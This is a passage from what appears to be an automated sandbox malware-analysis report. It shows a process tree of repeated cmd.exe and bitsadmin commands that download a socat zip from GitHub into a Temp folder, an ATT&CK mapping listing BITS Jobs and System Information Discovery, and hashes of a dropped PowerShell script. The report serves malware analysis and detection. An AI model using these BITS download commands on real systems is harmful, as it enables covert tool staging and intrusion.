      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:268
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1592
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1040
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2024
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:972
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1588
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1396
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1372
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1048
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:632
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1532
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1760
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1548
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1224
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1380
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1592
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:836
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1288
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1160
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1392
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1372
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1632
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1292
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1768
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1392
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2036
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:992
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1752
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:608
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:836
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1372
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1604
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1708
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1436
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1792
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1768
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1720
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1372
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:980
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1600
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1784
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1920
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2008
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:668
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1792
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1396
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:432
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2012
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:832
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2000
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1436
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1644
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:852
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:268
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2028
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1692
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:284
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1588
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1096
- - C:\Windows\SysWOW64\find.exe
    find /v ""
    3⤵
    PID:1572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\a81Pa4oUST.ps1

Filesize
7KB

MD5
5a845993db5372ebb697be1f145fd340

SHA1
98e50f16fe1feae69ee0ded39faaafe1bd9341f5

SHA256
b5a29361d213c6667df1a9b67ba6c47591d73539a539e3bcb7b39ceccb54fe33

SHA512
b84eecebccc46023e9fc8d8c3917c2953ae329e7bf366915343f41986106dd4285447e4954dac7c16486ba03021b7c4798efbc8fe3713651477e25badeeb2826

Download Submit
memory/760-90-0x0000000073D70000-0x0000000073DF5000-memory.dmp

Filesize
532KB

Download
memory/760-94-0x0000000071030000-0x0000000071134000-memory.dmp

Filesize
1.0MB

Download
memory/760-66-0x0000000073D70000-0x0000000073DF5000-memory.dmp

Filesize
532KB

Download
memory/760-67-0x00000000718F0000-0x000000007198C000-memory.dmp

Filesize
624KB

Download
memory/760-68-0x0000000071750000-0x00000000718EE000-memory.dmp

Filesize
1.6MB

Download
memory/760-69-0x0000000071680000-0x0000000071743000-memory.dmp

Filesize
780KB
